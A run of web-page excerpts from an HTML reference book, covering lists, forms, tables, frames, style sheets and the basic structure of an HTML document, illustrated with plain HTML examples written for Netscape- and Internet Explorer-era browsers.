2.9 Lists, Searchable Documents, and Forms

Thought we'd exhausted HTML text elements? Headers, paragraphs, and line breaks are just the rudimentary text-organizational elements of an HTML document. The language also provides several advanced text-based structures, including three types of lists, "searchable" documents, and forms. Searchable documents and forms go beyond text formatting, too; they are a way to interact with your readers. Forms let users enter text and click checkboxes and radio buttons to select particular items and then send that information back to the server. Once received, a special server application processes the form's information and responds accordingly, e.g., filling a product order or collecting data for a user survey.[6]

[6] The server-side programming required for processing forms is beyond the scope of this book. We give some basic guidelines in the appropriate chapters, but please consult the server documentation and your server administrator for details.

The HTML syntax for these special features and their various attributes can get rather complicated; they're not quick-start grist. So we mention them here and urge you to read on for details in later chapters.

Unordered, Ordered, and Definition Lists

The three types of HTML lists match those we are most familiar with: unordered, ordered, and definition lists. An unordered list--one in which the order of items is not important, such as a laundry or grocery list--gets bounded by <ul> and </ul> tags. Each item in the list, usually a word or short phrase, is marked by the <li> (list-item) tag and, when rendered, appears indented from the left margin. The browser also typically precedes each item with a leading bullet symbol. [the section called "The <ul> Tag"] [the section called "The <li> Tag"]

Ordered lists, bounded by the <ol> and </ol> tags, are identical in format to unordered ones, including the <li> tag for marking list items. However, the order of items is important--equipment assembly steps, for instance. The browser accordingly displays each item in the list preceded by an ascending number. [the section called "The <ol> Tag"]

Definition lists are slightly more complicated than unordered and ordered lists. Within a definition list's enclosing <dl> and </dl> tags, each list item has two parts, each with a special tag: a short name or title, contained within a <dt> tag, followed by its corresponding value or definition, denoted by the <dd> tag. When rendered, the browser usually puts the item name on a separate line (although not indented), and the definition, which may include several paragraphs, indented below it. [the section called "The <dl> Tag"]

The various types of lists may contain nearly any type of content normally allowed in the body of the HTML document. So, you can organize your collection of digitized family photographs into an ordered list, for example, or put them into a definition list complete with text annotations. HTML even lets you put lists inside of lists (nesting), opening up a wealth of interesting combinations.

Searchable Documents

The simplest type of user interaction provided by HTML is the searchable document. You create a searchable HTML document by including an <isindex> tag in its header or body. The browser automatically provides some way for the user to type one or more words into a text input box, and to pass those keywords to a related processing application on the server. [the section called "The <isindex> Tag"]

The processing application on the server uses those keywords to do some special task, such as perform a database search or match the keywords against an authentication list to allow the user special access to some other part of your document collection.

Forms

Obviously, searchable documents are very limited--one per document and only one user input element. Fortunately, HTML provides better, more extensive support for collecting user input though forms.

You create one or more special form sections in your HTML document, bounded with the <form> and </form> tags. Inside the form, you may put predefined as well as customized text-input boxes allowing for both single and multiline input. You may also insert checkboxes and radio buttons for single- and multiple-choice selections, and special buttons that work to reset the form or send its contents to the server. Users fill out the form at their leisure, perhaps after reading the rest of the document, and then click a special send button that makes the browser send the form's data to the server. A special server-side program you provide then processes the form and responds accordingly, perhaps by requesting more information from the user, modifying subsequent HTML documents the server sends to the user, and so on. [the section called "The <form> Tag"]

HTML forms provide everything you might expect of an automated form, including input area labels, integrated contents for instructions, default input values, and so on--except automatic input verification; your server-side program has to perform that function.

Previous | Home | Next
Images Are Special | Book Index | Tables
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.10 Tables

HTML: The Definitive Guide

Previous Chapter 2
HTML Quick Start 		Next

2.10 Tables

For a language that emerged from academia--a place steeped in data--it's not surprising to find that HTML supports a set of tags for data tables that not only align your numbers, but can specially format your text, too.

Five tags enable tables, including the <table> tag itself and a <caption> tag for including a description of the table. Special tag attributes let you change the look and dimensions of the table. You create a table row by row, putting between the table row (<tr>) tag and its end tag (</tr>) either table header (<th>) or table data (<td>) tags and their respective contents for each cell in the table. Headers and data may contain nearly any regular HTML content, including text, images, forms, and even another table. As a result, you can also use HTML tables for advanced text formatting, such as for multicolumn text and sidebar headers (see Figure 2.5). For more information, see Chapter 11, Tables.

Figure 2.5: HTML tables let you perform page layout tricks, too

[Graphic: Figure 2-5]

Previous | Home | Next
Lists, Searchable Documents, and Forms | Book Index | Frames
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.11 Frames

HTML: The Definitive Guide

Previous Chapter 2
HTML Quick Start 		Next

2.11 Frames

Anyone who has had more than one application window open on their graphical desktop at a time can immediately appreciate the special, nonstandard feature of HTML offered by Netscape Navigator and Internet Explorer: frames. For more information on frames, see Chapter 12, Frames.

Figure 2.6 is an example of a frame display. It shows how the document window may be divided into many individual windows separated by rule lines and scroll bars. What is not immediately apparent in the example, though, is that each frame may display an independent document, and not necessarily HTML ones, at that. A frame may contain any valid content that the browser is capable of displaying, including multimedia. If the frame's contents include a hypertext link the user selects, the new document's contents, even another frame document, may replace that same frame, another frame's content, or the entire browser window.

Figure 2.6: Frames divide the window into many document displays

[Graphic: Figure 2-6]

Frames are defined in a special HTML document in which you replace the <body> tag with one or more <frameset> tags that tell the browser how to divide its main window into discrete frames. Special <frame> tags go inside the <frameset> tag and point to the documents that go inside the frames.

The individual documents referenced and displayed in the frame document window act independently, to a degree; the frame document controls the entire window. You can, however, direct one frame's document to load new content into another frame. Selecting an item from a table of contents, for example, might cause the browser to load and display the referenced document into an adjacent frame for viewing. That way, the table of contents always is available to the user as he or she browses the collection.

Previous | Home | Next
Tables | Book Index | Style Sheets and JavaScript
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.12 Style Sheets and JavaScript

HTML: The Definitive Guide

Previous Chapter 2
HTML Quick Start 		Next

2.12 Style Sheets and JavaScript

The very latest browsers also have support for two powerful innovations to HTML: style sheets and JavaScript. Like their desktop-publishing cousins, style sheets allow you to control how your HTML pages look--text font styles and sizes, colors, backgrounds, alignments, and so on. More importantly, style sheets give you a way to impose display characteristics uniformly over the entire document and over an entire collection of documents.

JavaScript is a programming language with functions and commands that let you control how the browser behaves for the user. Now, this is not a programming book, but there are two reasons we mention JavaScript here and cover the language in fair detail in later chapters: First, you embed JavaScript programs ("applets") directly into your HTML documents to achieve some very powerful and fun effects. Second, it is through JavaScript that the folks at Netscape also implement style sheets in their latest browser.

The World Wide Web Consortium--the putative standards organization--prefers that you use the Cascading Style Sheets (CSS) model for HTML document design. Both the latest versions of Netscape (Version 4) and Internet Explorer (Version 3) support CSS and JavaScript, but only Netscape currently supports JavaScript-based Style Sheets (JSS).

To illustrate the differences between CSS and JSS, here are the two ways you can make all the top-level (H1) header text in your HTML document appear in the color red. First, using CSS:

<html>
<head>
<title>CSS Example</title>
<!-- Hide CSS properties within comments so old browsers
don't choke on or display the unfamiliar contents. -->
  <style type="text/CSS1">
    <!--
    H1 {color: red}
    -->
  </style>
</head>
<body>
<H1>I'll be red if your browser supports CSS</H1>
Something in between.
<H1>I should be red, too!</H1>
</body>
</html>

Using JSS:

<html>
<head>
<title>JSS Example</title>
  <style type="text/javascript">
  <!--
    tags.H1.color = "red"
  //-->
  </style>
</head>
<body>
<H1> I'll be red if your browser supports JSS</H1>
Something in between.
<H1>I should be red, too!</H1>
</body>
</html>

The examples are nearly identical, but the devil is in the details. Both have their own peculiar syntax that is unfamiliar to most everyone except programmers. The nastiest detail, however, and one that will drive many an HTML author batty, is that JSS, like its parent JavaScript language, is case-sensitive--type "h1" instead of "H1" in the style description and you ain't gonna see red. Type "h1" in the CSS style description (or in the tag, for that matter) and it still works.

Frankly, we prefer the CSS way for the very reason of its forgiving nature, as we explain in Chapter 9, Cascading Style Sheets, even though JSS is a more powerful and comprehensive accessory. And you may otherwise become quite familiar with JavaScript by using the language to extend the capabilities of your HTML documents. In that case, adopting JSS with its case-sensitive warts may not be all that daunting, maybe even an easy transition (that's perhaps what Netscape is hoping).

You get a taste of the JavaScript language in the above JSS example. It is an object-oriented language. It views your document and the browser that displays your documents as a collection of parts ("objects") that have certain properties that you may change or compute. This is some very powerful stuff, but not something that most HTML authors will want to handle. Rather, most of us probably will snatch the quick and easy, yet powerful JavaScript applets that proliferate across the Web and embed them in our own HTML documents. We tell you how (JSS too) in Chapter 13, Executable Content.

Previous | Home | Next
Frames | Book Index | Forging Ahead
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 2] 2.13 Forging Ahead

HTML: The Definitive Guide

Previous Chapter 2
HTML Quick Start 		Next

2.13 Forging Ahead

Clearly, this chapter represents the tip of the iceberg. If you've read this far, hopefully your appetite has been whetted for more. By now you've got a basic understanding of the scope and features of HTML; proceed through subsequent chapters to expand your knowledge and learn more about each feature of HTML.

Previous | Home | Next
Style Sheets and JavaScript | Book Index | Anatomy of an HTML Document
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] Anatomy of an HTML Document

HTML: The Definitive Guide

Previous Chapter 3 Next

3. Anatomy of an HTML Document

Contents:
Appearances Can Deceive
Structure of an HTML Document
HTML Tags
Document Content
HTML Document Elements
The Document Header
The Document Body

HTML documents are very simple, and writing one shouldn't intimidate even the most timid of computer users. First, although you might use a fancy WYSIWYG editor to help you compose it, an HTML document is ultimately stored, distributed, and read by a browser as a simple ASCII text file.[1] That's why even the poorest user with a barebones text editor can compose the most elaborate of HTML pages. (Accomplished webmasters often elicit the admiration of HTML "newbies" by composing astonishingly cool pages using the crudest text editor on a cheap laptop computer and performing in odd places like on a bus or in the bathroom.) HTML writers should, however, keep several of the popular browsers on hand and alternate among them to view new documents under construction. Remember, browsers differ in how they display a page; not all browsers implement all of the HTML standards; and some have their own special extensions to the language.

[1] Informally, both the text and the markup tags in an HTML document are ASCII characters. Technically, unless you specify otherwise, text and tags are made up of eight-bit characters as defined in the standard ISO-8859-1 Latin character set. The HTML standard does support alternative character encoding, including Arabic and Cyrillic. See Appendix E, Character Entities, for details.

3.1 Appearances Can Deceive

HTML documents never look alike when displayed by a text editor and when displayed by an HTML browser. Simply take a look at any source HTML document off the World Wide Web. At the very least, return characters, tabs, and leading spaces, although important for readability of the source text document, are ignored for the most part in HTML. There also is a lot of extra text in an HTML source document, mostly from the display tags and interactivity markers and their parameters that affect portions of the document, but don't themselves appear in the display.

Accordingly, new HTML authors are confronted with having to develop not only a presentation style for their HTML pages, but a different style for their HTML source text. The source document's layout should highlight the programming-like markup aspects of HTML, not its display aspects. And it should be readable not only by you, the author, but by others, as well.

Experienced HTML document writers typically adopt a programming-like style, albeit very relaxed, for their source HTML text. We do the same throughout this book, and that style will become apparent as you compare our source HTML examples with the actual display of the document by a browser.

Our formatting style is simple, but serves to create readable, easily maintained documents:

  • Except for the document structural tags like <html>, <head>, and <body>, any HTML element we used to structure the content of a document is placed on a separate line and indented to show its nesting level within the document. Such elements include lists, forms, tables, and similar tags.

  • Any HTML element used to control the appearance or style of text is inserted in the current line of text. This includes basic font style tags like <b> (bold text) and document linkages like <a> (hypertext anchor).

  • Avoid, where possible, the breaking of a URL onto two lines.

  • Add extraneous newline characters to set apart special sections of the HTML document, for instance around paragraphs or tables.

The task of maintaining the indentation of your source HTML ranges from trivial to onerous. Some text editors, like Emacs, manage the indentation automatically; others, like common word processors, couldn't care less about indentation and leave the task completely up to you. If your editor makes your life difficult, you might consider striking a compromise, perhaps by indenting the tags to show structure, but leaving the actual text without indentation to make modifications easier.

No matter what compromises or stands you make on source code style, however, it's important that you adopt one. You'll be very glad you did when you go back to that HTML document you wrote three months ago searching for that really cool trick you did with. . . . Now, where was that?

Previous | Home | Next
Forging Ahead | Book Index | Structure of an HTML Document
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.2 Structure of an HTML Document

HTML: The Definitive Guide

Previous Chapter 3
Anatomy of an HTML Document 		Next

3.2 Structure of an HTML Document

An HTML document consists of text, which defines the content of the document, and tags, which define the structure and appearance of the document. The structure of an HTML document is simple, too, consisting of an outer <html> tag enclosing the document header and body:

<html>
<head>
<title>Barebones HTML Document</title>
</head>
<body>
This illustrates, in a very <i>simp</i>le way,
the basic structure of an HTML document.
</body>
</html>

Each document has a head and a body, delimited by the <head> and <body> tags. The head is where you give your HTML document a title and where you indicate other parameters the browser may use when displaying the document. The body is where you put the actual contents of the HTML document. This includes the text for display and document control markers (tags) that advise the browser how to display the text. Tags also reference special-effects files including graphics and sound, and indicate the hot spots (hyperlinks and anchors) that link your document to other documents.

Previous | Home | Next
Appearances Can Deceive | Book Index | HTML Tags
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.3 HTML Tags

HTML: The Definitive Guide

Previous Chapter 3
Anatomy of an HTML Document 		Next

3.3 HTML Tags

For the most part, HTML document tags are simple to understand and use, since they are made up of common words, abbreviations, and notations. For instance, the <i> and </i> tags tell the browser to respectively start and stop italicizing the text characters that come between them. Accordingly, the syllable "simp" in our barebones HTML example would appear italicized on a browser display.

The HTML standard and its various extensions define how and where you place tags within a document. Let's take a closer look at that syntactic sugar that holds together all HTML documents.

tag syntax

The Syntax of a Tag

Every HTML tag consists of a tag name, sometimes followed by an optional list of tag attributes, all placed between opening and closing brackets (< and>). The simplest tag is nothing more than a name appropriately enclosed in brackets, such as <head> and <i>. More complicated tags contain one or more attributes, which specify or modify the behavior of the tag.

Tag and attribute names are not case-sensitive. There's no difference in effect between <head>, <Head>, <HEAD>, or even <HeaD>; they are all equivalent. The values that you assign to a particular attribute may be case-sensitive, however, depending on your browser and server. In particular, file location and name references--universal resource locators (URLs)--are case-sensitive. [the section called "Referencing Documents: The URL"]

Tag attributes, if any, belong after the tag name, each separated by one or more tab, space, or return characters. Their order of appearance is not important.

A tag attribute's value, if any, follows an equal sign (=) after the attribute name. You may include spaces around the equal sign, so that width=6, width = 6, width =6, and width= 6 all mean the same. For readability, however, we prefer not to include spaces. That way, it's easier to pick out an attribute/value pair from a crowd of pairs in a lengthy tag.

If an attribute's value is a single word or number (no spaces), you may simply add it after the equal sign. All other values should be enclosed in single or double quotation marks, especially those values that contain several words separated by spaces. The length of the value is limited to 1024 characters.

Most browsers are tolerant of how tags are punctuated and broken across lines. Nonetheless, avoid breaking tags across lines in your source document whenever possible. This rule promotes readability and reduces potential errors in your HTML documents.

Sample Tags

Here are some tags with attributes:

<a href="http://www.ora.com/catalog.html">
<ul compact>
<input name=filename size=24 maxlength=80>
<link title="Table of Contents">

The first example is the <a> tag for a hyperlink to O'Reilly & Associates' World Wide Web-based catalog of products. It has a single attribute, href, followed by the catalog's address in cyberspace--its URL.

The second example shows a tag that formats text into an unordered list of items. Its single attribute--compact, which limits the space between list items--does not require a value.

The third example shows a tag with multiple attributes, each with a value that does not require enclosing quotation marks.

The last example shows proper use of enclosing quotation marks when the attribute value is more than one word long.

Finally, what is not immediately evident in these examples is that while attribute names are not case-sensitive (href works the same as HREF and HreF), most attribute values are case-sensitive. The value filename for the name attribute in the <input> tag example is not the same as the value Filename, for instance.

Starting and Ending Tags

We alluded earlier to the fact that most HTML tags have a beginning and an end and affect the portion of text between them. That enclosed text segment may be large or small, from a single text character, syllable, or word, such as the italicized "simp" syllable in our barebones example, to the <html> tag that bounds the entire document. The starting component of any tag is the tag name and its attributes, if any. The corresponding ending tag is the tag name alone, preceded by a slash. Ending tags have no attributes.

Proper and Improper Nesting

Tags can be put inside the affected segment of another tag (nested) for multiple tag effects on a single segment of the HTML document. For example, a portion of the following text is both bold and included as part of an anchor defined by the <a> tag:

<body>
This is some text in the body, with a
<a href="another_doc.html">link, a portion of which
is <b>set in bold</b></a>
</body>

According to the HTML standard, you must end nested tags starting with the most recent one and work your way back out. For instance in the example, we end the bold tag (</b>) before ending the link tag (</a>) since we started in the reverse order: <a> tag first, then <b> tag. It's a good idea to follow that standard, even though most browsers don't absolutely insist you do so. You may get away with violating this nesting rule for one browser, sometimes even with all current browsers. But eventually a new browser version won't allow the violation and you'll be hard pressed to straighten out your source HTML document.

Tags Without Ends

According to the HTML standard, only a few tags do not have an ending tag. For example, the <br> tag causes a line break; it has no effect otherwise on the subsequent portion of the document and, hence, does not need an ending tag.

The standard HTML tags that do not have corresponding ending tags are:

<area>
<base>
<basefont>
<br>
<hr>
<img>
<input>
<isindex>
<link>
<meta>
<nextid>
<option>
<param>

Omitting Tags

You often see documents in which the author seemingly has forgotten to include many ending tags in apparent violation of the HTML standard. But your browser doesn't complain, and the documents displays just fine. What gives? The HTML standard lets you omit certain tags or their endings for clarity and ease of preparation. The HTML standard writers didn't intend the language to be tedious.

For example, the <p> tag that defines the start of a paragraph has a corresponding end tag </p>, but the </p> ending tag rarely is used. In fact, many HTML authors don't even know it exists! [the section called "The <p> Tag"]

Rather, the HTML standard lets you omit a starting tag or ending tag whenever it can be unambiguously inferred by the surrounding context. Many browsers make good guesses when confronted with missing tags, leading the document author to assume that a valid omission was made. When in doubt, add the ending tag: it'll make life easier for yourself, the browser, and anyone else who might need to modify your document in the future.

Ignored or Redundant Tags

Browsers sometimes ignore tags. This usually happens with redundant tags whose effects merely cancel or substitute for themselves. The best example is a series of <p> tags, one after the other with no intervening text. Unlike the similar series of repeating return characters in a text-processing document, most browsers skip to a new line only once. The extra <p> tags are redundant and usually ignored by the browser.

character entities

In addition, most browsers ignore any tag that they don't understand or that was incorrectly specified by the document author. Browsers habitually forge ahead and make some sense of a document, no matter how badly formed and error-ridden it may be. This isn't just a tactic to overcome errors, it's also an important strategy for extensibility. Imagine how much harder it would be to add new features to the language if the existing base of browsers choked on them.

The thing to watch out for with nonstandard tags that aren't supported by most browsers is their enclosed contents, if any. Browsers that recognize the new tag may process those contents differently than those that don't support the new tag. For example, Internet Explorer supports a <comment> tag whose contents serve to document the source HTML and are not intended to be viewed by the user. However, none of the other browsers recognizes the <comment> tag and render its contents on the user's screen, effectively defeating the tag's purpose in addition to ruining the document's appearance. [the section called "Character Entities"]

Previous | Home | Next
Structure of an HTML Document | Book Index | Document Content
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.4 Document Content

HTML: The Definitive Guide

Previous Chapter 3
Anatomy of an HTML Document 		Next

3.4 Document Content

Nearly everything else you put into your HTML document that isn't a tag is by definition content, and the majority of that, in most HTML documents, is text. Like tags, document content is encoded using a specific character set, the ISO-8859-1 Latin character set, by default. This character set is a superset of conventional ASCII, adding the necessary characters to support the Western European languages. If your keyboard does not allow you to directly enter the characters you need, you can use character entities to insert the desired characters.

Advice Versus Control

Perhaps the hardest rule to remember when marking up an HTML document is that all the tags you insert regarding text display and formatting are only advice for the browser: they do not explicitly control how the browser will display the document. In fact, the browser can choose to ignore all of your tags and do what it pleases with the document content. What's worse, the user (of all people!) has control over text-display characteristics of his or her own browser.

Get used to this lack of control. The best way to use HTML markup to control the appearance of your documents is to concentrate on the content of the document, not on its final appearance. If you find yourself worrying excessively about spacing, alignment, text breaks, and character positioning, you'll surely end up with ulcers. You will have gone beyond the intent of HTML. If you focus on delivering information to users in an attractive manner, using the tags to advise the browser as to how best to display that information, you are using HTML effectively, and your documents will render well on a wide range of browsers.

Character Entities

Besides common text, HTML gives you a way to display special text characters you might not normally be able to include in your source document or which have other purposes in HTML. A good example is the less-than or opening bracket (<) symbol. In HTML, it normally signifies the start of a tag, so if you insert it simply as part of your text, the browser will get confused and probably misinterpret your document.

In HTML, the ampersand character instructs the browser to insert a special character, formally known as a character entity. For example, the command &lt; inserts that pesky less-than symbol into the rendered text. Similarly, &gt; inserts the greater-than symbol, and &amp; inserts an ampersand. There can be no spaces between the ampersand, the entity name, and the required, trailing semicolon. (Semicolons aren't special characters; you don't need to use an ampersand sequence to display a semicolon normally.)

You also may replace the entity name after the ampersand with a decimal value between 0 and 255 corresponding to the entity's position in the character set. Hence, the sequence &#60; does the same thing as &lt; and represents the less-than symbol. In fact, you could substitute all the normal characters within an HTML document with ampersand-special characters, such as &#65; for a capital "A" or &#97; for its lowercase version, but that would be silly. A complete listing of all characters, their names, and numerical equivalents can be found in Appendix E, Character Entities.

Keep in mind that not all special characters can be rendered by all browsers. Some browsers just ignore many of the special characters; with others, the characters aren't available in the character sets on a specific platform. Be sure to test your documents on a range of browsers before electing to use some of the more obscure character entities.

comments

Comments

Comments are another type of textual content that appear in the source HTML document, but are not rendered by the user's browser. Comments fall between the special <!- - and - -> markup elements. Browsers ignore the text between the comment character sequences.

Here's a sample comment:

<!-- This is a comment -->
<!-- This is a
multiple line comment
that ends on this line -->

There must be a space after the initial <!- - and preceding the final - ->, but otherwise you can put nearly anything inside the comment. The biggest exception to this rule is that the HTML standard doesn't let you nest comments.[2]

[2] Netscape does let you nest comments, but the practice is tricky; you cannot always predict how other browsers will react to nested comments.

As we mentioned above, Internet Explorer also lets you place comments within a special <comment> tag. Everything between the <comment> and </comment> tag is ignored by Internet Explorer, but all other browsers will display the comment to the user. Because of this undesirable behavior, we do not recommend using the <comment> tag for comments. Instead, always use the <!- - and - -> sequences to delimit comments.

Besides the obvious use of comments for HTML source documentation, many World Wide Web servers use comments to take advantage of features specific to the document server software. These servers scan the document for specific character sequences within conventional HTML comments and then perform some action based upon the commands embedded in the comments. The action might be as simple as including text from another file (known as a server-side include) or as complex as executing other commands on the server to dynamically generate the document contents.

Previous | Home | Next
HTML Tags | Book Index | HTML Document Elements
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.5 HTML Document Elements

HTML: The Definitive Guide

Previous Chapter 3
Anatomy of an HTML Document 		Next

3.5 HTML Document Elements

Every HTML document should conform to the HTML SGML DTD, the formal Document Type Definition that defines the HTML standard. The DTD defines the tags and syntax that are used to create an HTML document. You can inform the browser which DTD your document complies with by placing a special SGML (Standard Generalized Markup Language) command in the first line of the document:

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">

This cryptic message indicates that your document is intended to be compliant with the HTML 3.2 final DTD defined by the World Wide Web Consortium (W3C). Other versions of the DTD define more restricted versions of the HTML standard, and not all browsers support all versions of the HTML DTD. In fact, specifying any other doctype may cause the browser to misinterpret your document when displaying it for the user. It's also unclear what doctype to use when including in the HTML document the various tags that are not standards, but are very popular features of a popular browser--the Netscape extensions, for instance, or even the deprecated HTML 3.0 standard, for which a DTD was never released.

Almost no one precedes their HTML documents with the SGML doctype command. Because of the confusion of versions and standards, we don't recommend that you include the prefix with your HTML documents either. There are other mechanisms to better define your document contents, such as the version attribute for the <html> tag.

The <html> Tag

As we saw earlier, the <html> and </html> tags serve to delimit the beginning and end of an HTML document. Since the typical browser can easily infer from the enclosed source that it is an HTML document, you don't really need to include the tag in your source document.

<html>
Function:

Delimits a complete HTML document

Attributes:

VERSION

End tag:

</html>; may be omitted

Contains:

head_tag, body_tag, frames

That said, it's considered good form to include this tag so that other tools, particularly more mundane text-processing ones, can recognize your document as an HTML document. At the very least, the presence of the beginning and ending <html> tags ensures that the beginning or the end of the document haven't been inadvertently deleted.

Inside the <html> tag and its end tag are the document's head and body. Within the head, you'll find tags that identify the document and define its place within a document collection. Within the body is the actual document content, defined by tags that determine the layout and appearance of the document text. As you might expect, the document head is contained within a <head> tag and the body is within a <body> tag, both of which are defined below.

Netscape Navigator and Internet Explorer extend the <html> tag so that the <body> tag may be replaced by a <frameset> tag, defining one or more display frames that, in turn, contain actual document content. See Chapter 12, Frames, for more information.

By far, the most common form of the <html> tag is simply:

<html>
...document head and body content
</html>

When the <html> tag appears without the version attribute, the HTML document server and browser assume the version of HTML used in this document is supplied to the browser by the server.

The version attribute

The <html> version attribute defines the HTML standard version used to compose the document. If included, the value of the version attribute should read exactly:

version="-//W3C//DTD HTML 3.2 Final//EN"

This attribute better identifies an HTML document's origins and contents than the SGML doctype command. However, some browsers may alter their processing of the document based upon the HTML version specified by this attribute, so be careful. Again, the confusion of extensions and versions and the lack of standards guidance makes us uneasy, and we do not recommend you include version information in your document, except perhaps as part of a leading comment.

Previous | Home | Next
Document Content | Book Index | The Document Header
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.6 The Document Header

HTML: The Definitive Guide

Previous Chapter 3
Anatomy of an HTML Document 		Next

3.6 The Document Header

The HTML document header describes the various properties of the document, including its title, position within the Web, and relationship with other documents. Most of the data contained within the document header are never actually rendered as content visible to the user.

The <head> Tag

The <head> tag has no attributes and serves only to encapsulate the other header tags. Since it always occurs near the beginning of a document, just after the <html> tag and before the <body> or <frameset> tag, both the <head> tag and its corresponding ending </head> can be unambiguously inferred by the browser and so can be safely omitted from the document. Nonetheless, we do encourage you to include them in your documents, since it promotes readability and better supports document automation.

<head>
Function:

Defines the document header

Attributes:

None

End tag:

</head>; rarely omitted

Contains:

head_content

Used in:

html_tag

The <head> tag may contain a number of other tags that help define and manage the document's content. These include, in any order of appearance: <base>, <isindex>, <link>, <meta>, <nextid>, <title>, and <style>. For more information, see Chapter 7, Links and Webs and Chapter 9, Cascading Style Sheets.

The <title> Tag

The <title> tag does exactly what you might expect: the words you place inside its start and end tags define the title for your document. (We told you this stuff is pretty much self-explanatory and easier than you might think at first glance.) The title is used by the browser in some special manner, most often placed in the browser window's title bar or on a status line. Usually, too, the title becomes the default name for a link to the document if the document is added to a link collection or to a user's "hot list."

<title>
Function:

Defines the document title

Attributes:

None

End tag:

</title>; never omitted

Contains:

plain_text

Used in:

head_content

The <title> tag is the only thing required within the <head> tag. Since the <head> tag itself and even the <html> tag may be safely omitted, the <title> tag could be the first line within a valid HTML document. Beyond that, most browsers will even supply a generic title for documents lacking a <title> tag, such as the document's filename, so you don't even have to supply a title. That goes a bit too far even for our down-and-dirty tastes. No respectable author of an HTML document should serve up a document missing the <title> tag and a title.

Browsers do not specially format title text and ignore anything other than text inside the title start and end tags, such as images or links to other documents.

Here's an even barer barebones example of a valid HTML document to highlight the header and title tags:

<html>
<head>
<title>HTML: The Definitive Guide</title>
</head>
</html>

What's in a title?

Selecting the right title is crucial to defining a document and ensuring that it can be effectively used within the World Wide Web.

Keep in mind that users can access each of your documents in a collection in nearly any order and independently of one another. Each document's title should therefore define the document both within the context of your other documents as well as on its own merits.

Titles that include references to document sequencing are usually inappropriate. Simple titles, like "Chapter 2" or "Part VI" do little to help a user understand what the document might contain. More descriptive titles, such as "Chapter 2: Advanced Square Dancing" or "Part VI: Churchill's Youth and Adulthood," convey both a sense of place within a larger set of documents and specific content that invites the reader to read on.

Self-referential titles also aren't very useful. A title like "My Home Page" is completely content-free, as are titles like "Feedback Page" or "Popular Links." You want a title to convey a sense of content and purpose so that users can decide, based upon the title alone, whether to visit that page or not. "The Kumquat Lover's Home Page" is descriptive and likely to draw in lovers of the bitter fruit, as are "Kumquat Lover's Feedback Page" and "Popular Links Frequented by Kumquat Lovers."

People spend a great deal of time creating documents for the Web, often only to squander that effort with an uninviting, ineffective title. As special software that automatically collects links for users becomes more prevalent on the Web, the only descriptive phrase associated with your pages when they are inserted into some vast link database will be the title you choose for them. We can't emphasize this enough: take care to select descriptive, useful, context-independent titles for each of your HTML documents.

Related Header Tags

Other tags you may include within the <head> tag deal with specific aspects of document creation, management, linking, automation, or layout. That's why we only mention them here, and describe them in greater detail in other, more appropriate sections and chapters of this book.

Briefly, the special header tags are:

<link> and <base>

Define the current document's base location and relationship to other documents. [the section called "The <link> Header Element"] [the section called "The <base> Header Element"]

<isindex>

Creates automatic document indexing forms, allowing users to search databases of information using the current document as a querying tool. [the section called "The <isindex> Tag"]

<nextid>

Makes creation of unique document labels easier when using document automation tools. [the section called "The <nextid> Header Element"]

<meta>

Provides additional document data not supplied by any of the other <head> tags. [the section called "The <meta> Header Element"]

<style>

Lets you create Cascading Style Sheet properties to control body-content display characteristics for the entire document. [the section called "Document-Level Style Sheets"]

Previous | Home | Next
HTML Document Elements | Book Index | The Document Body
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 3] 3.7 The Document Body

HTML: The Definitive Guide

Previous Chapter 3
Anatomy of an HTML Document 		Next

3.7 The Document Body

The document body is the meat of the matter; it's where you put the contents of your document. The <body> tag delimits the document body.

The <body> Tag

Within HTML 3.2, the <body> tag has a number of attributes that control the color and background of your document. Various browsers, as we'll see, have extended the tag to give even greater control over your document's appearance.

<body>
Function:

Defines the document body

Attributes:

ALINK
BACKGROUND
BGCOLOR
BGPROPERTIES (Internet Explorer)
CLASS (Netscape) (Internet Explorer)
LEFTMARGIN (Internet Explorer)
LINK
ONBLUR (Netscape) (Internet Explorer)
ONFOCUS (Netscape) (Internet Explorer)
ONLOAD (Netscape) (Internet Explorer)
ONUNLOAD (Netscape) (Internet Explorer)
STYLE (Netscape) (Internet Explorer)
TEXT
TOPMARGIN (Internet Explorer)
VLINK

End tag:

</body>; may be omitted

Contains:

body_content

Used in:

html_tag

Anything inside the <body> tag and its ending counterpart </body> is called body content. The simplest HTML document might have only a sequence of text paragraphs within the <body> tag. More complex documents will include heavily formatted text, graphical figures, tables, and a variety of special effects.

Since the position of the <body> and </body> tags can be inferred by the browser, they can safely be omitted from the document. However, like the <html> and <head> tags, we recommend that you include the <body> tags in your document to make them more easily readable and maintainable.

The various attributes for the <body> tag can be loosely grouped into two sets: those that give you some control over the document's appearance, such as its background, text, and hyperlink display colors, and those that associate programmable functions with the document itself. We address the appearance attributes (alink, background, bgcolor, bgproperties, leftmargin, link, text, topmargin, and vlink) in 5.3, along with the class and style attributes for cascading and JavaScript style sheets, described in Chapter 9, Cascading Style Sheets. The programmatic attributes (onBlur, onFocus, onLoad, and onUnload) are covered in the section called "JavaScript Event Handlers".

Netscape and Internet Explorer also implement a special type of HTML document in which you replace the <body> tag with one or more <frameset> tags. This so-called frame document divides the display window into one or more independent windows, each displaying a different document. We describe this innovation in Chapter 12, Frames.

Previous | Home | Next
The Document Header | Book Index | Text Basics
